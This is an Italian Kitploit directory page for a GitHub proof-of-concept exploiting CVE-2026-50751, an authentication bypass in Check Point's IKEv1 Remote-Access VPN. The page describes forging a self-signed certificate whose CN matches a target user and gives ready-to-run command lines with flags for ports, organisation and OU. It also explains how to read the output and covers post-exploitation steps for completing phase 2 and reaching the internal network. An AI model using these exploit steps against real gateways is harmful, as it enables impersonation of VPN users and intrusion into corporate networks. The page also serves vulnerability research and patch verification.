Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-50751 — Bypass dell'autenticazione tramite certificato nella VPN Remote-Access di Check Point (IKEv1). | Kitploit
Strumenti/GitHubGitHub/ull0a/cve-2026-50751
Framework di ExploitAnalisi delle VulnerabilitàExploitSicurezza di ReteCrittografiaPenetration TestingAutenticazioneRed TeamingStrumento di Accesso Remoto
GitHubull0a/cve-2026-50751

CVE-2026-50751

Bypass dell'autenticazione tramite certificato nella VPN Remote-Access di Check Point (IKEv1).

1391 mese faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-50751 — PoC

Bypass dell'autenticazione tramite certificato nella VPN Remote-Access di Check Point (IKEv1).

Captura

Descrizione

CVE-2026-50751 è un bypass dell'autenticazione nel processo iked di Check Point, presente nelle versioni R81.10, R82 e R82.10 senza l'hotfix sk185033. La vulnerabilità consente di autenticarsi come qualsiasi utente di Remote Access provisionato senza chiave privata, senza password e senza certificato valido.

L'iked vulnerabile legge un flag dal Vendor ID VPNExtFeatures (bit 0x4) e, se attivato, omette verify_peer_auth / verifyMessagePhase1. Di conseguenza:

Non viene verificata la firma del certificato (prova di possesso).

Non viene verificata la catena di fiducia.

Si controlla solo che il subject DN corrisponda a un utente provisionato.

È sufficiente forgiare un certificato autofirmato il cui CN= coincida con l'utente target e inviarlo con una firma non valida. Se il gateway accetta la fase 1, siamo autenticati come quell'utente (la SA ISAKMP viene salvata sotto il suo DN).

Funziona su IKE (UDP 500/4500) e su Visitor Mode (TCPT, TCP 443).

Utilizzo

Sintassi

cve-2026-50751 -host <IP|hostname> -user <username> [opciones]

Opzioni

FlagDescrizionePredefinito
-hostIP o hostname del gateway (obbligatorio)—
-userUsername RA da impersonare (obbligatorio)—
-portPorta: 500, 4500 (UDP) o 443 (TCPT)500
-orgOrganizzazione (O=) della ICA. Se omesso, viene derivato dal certificato TLS del gateway sulla porta 443—
-ouUnità organizzativa (OU=) del DN dell'utente. Deve corrispondere esattamente all'OU che Check Point memorizza per l'utenteusers
-timeoutTimeout per operazione (accetta qualsiasi durata Go: 6s, 500ms, 1m)6s
-retriesTentativi di msg1 se il gateway non risponde al primo tentativo1
-tcptForza il trasporto Visitor Mode (TCPT su TCP, senza TLS). Si attiva automaticamente con -port 443false

Nota su -ou: il valore predefinito è users, ma in pratica l'utente RA appartiene solitamente a un gruppo specifico (ad esempio VPN_GROUP). Verificalo con mgmt_cli show user name "<usuario>" details-level "full" --format json e cerca il campo distinguished-name. Un OU errato fa sì che il gateway scarti silenziosamente il msg5 (NO_RESPONSE o INCONCLUSIVE), perché non risolve il DN a nessun utente provisionato.

Esempi

Attacco base via UDP/500 (con derivazione automatica di O=)

sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim

Su Linux/macOS è necessario sudo per eseguire il bind della porta UDP 500 come origine. Se non puoi usare sudo, la PoC passa a una porta effimera e molti gateway ignorano i pacchetti perché la source port non è standard.

Specificare manualmente l'organizzazione e l'OU

Utile quando il gateway non espone il proprio certificato TLS sulla 443, o quando il O= derivato automaticamente non coincide con quello dell'utente provisionato:

./cve-2026-50751 \
  -host 203.0.113.10 \
  -port 500 \
  -user victim \
  -org "gw-754bab.acme.s34394" \
  -ou VPN_GROUP

Modalità Visitor (TCPT su TCP/443)

Si attiva automaticamente specificando -port 443:

./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -org "ACME" -ou users

forzato esplicitamente con -tcpt (nel caso in cui il gateway abbia Visitor Mode in ascolto su una porta diversa dalla 443):

./cve-2026-50751 -host 203.0.113.10 -port 8443 -user victim -tcpt -org "ACME"

Informazioni su NAT-T (UDP/4500)

Per attraversare il NAT tra la tua macchina e il gateway. La PoC prefissa i pacchetti con il marcatore NON-ESP di RFC 3948:

sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -org "ACME"

Regolazione di timeout e tentativi

Utile su collegamenti lenti o gateway con rate limiting:

./cve-2026-50751 \
  -host 203.0.113.10 \
  -user victim \
  -timeout 10s \
  -retries 3 \
  -org "ACME"

Interpretazione dell'output

OutputSignificatoCosa fare
[+] [BYPASSED] + IP internaIl bypass ha funzionato; la SA IKEv1 è stata stabilita come l'utente impersonatoVedere la sezione Post-sfruttamento
[-] [REJECTED]Il gateway ha decifrato il tuo msg5 ma ha rifiutato l'autenticazioneUtente non provisionato, OU errato, o gateway con patch (sk185033)
[-] [NO_CERT_REALM]Il gateway non offre autenticazione tramite certificato in Main ModeIl gateway non è in modalità Certificate/Mixed, o accetta solo IKEv2
[-] [NO_RESPONSE]Nessuna risposta al msg1Firewall che blocca UDP/500, iked non in esecuzione, o rate limiting
[!] [INCONCLUSIVE]Nessuna risposta decisivaRiprovare dopo qualche minuto; controllare tcpdump e i log di iked

Post-sfruttamento

Una volta ottenuto [BYPASSED], la PoC ha stabilito una Associazione di Sicurezza IKEv1 completa e il gateway ti ha assegnato un IP virtuale dal pool di Remote Access. Dal punto di vista del gateway, sei l'utente impersonato all'interno della rete aziendale.

Tuttavia, la PoC non fornisce un tunnel dati utilizzabile (non implementa Quick Mode / IPsec ESP). Per sfruttare la posizione nella rete è necessario completare la fase 2. Questo può essere fatto con:

  • strongSwan o OpenVPN con certificato manipolabile: configurare il client affinché utilizzi un certificato con il DN falsificato e negoziare Quick Mode dopo il bypass. Richiede la modifica del flusso per iniettare il VID e saltare la verifica della firma lato client.
  • Estendere la PoC con Quick Mode: implementare IKEv1 fase 2 (exchange type 32) e i transforms di ESP. È un lavoro considerevole ma consente un tunnel funzionante.
  • Modalità Office: nelle distribuzioni in cui il gateway accetta Office Mode dopo XAUTH tramite certificato, la fase 1 che abbiamo già completato è il primo passo; il resto dipende dalla configurazione.

Flusso dell'attacco

Atacante                                             Gateway (iked vulnerable)
   │                                                          │
   │─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
   │                                                          │  Lee flag 0x4
   │                                                          │  Marca verify_peer_auth = skip
   │◀── msg2: SA aceptado ────────────────────────────────────│
   │                                                          │
   │─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
   │◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
   │                                                          │
   │  Deriva SKEYID, SKEYID_e, IV                             │
   │                                                          │
   │─── msg5 (cifrado): ID=DN forjado + CERT autofirmado     │
   │                    + firma aleatoria ───────────────────▶│
   │                                                          │  Omite verificación
   │                                                          │  de firma
   │                                                          │  Resuelve DN → usuario
   │◀── msg6 (cifrado): SA establecida ───────────────────────│
   │                                                          │
   │  Descifra msg6 con SKEYID_e → prueba de autenticación    │

Scarica lo strumento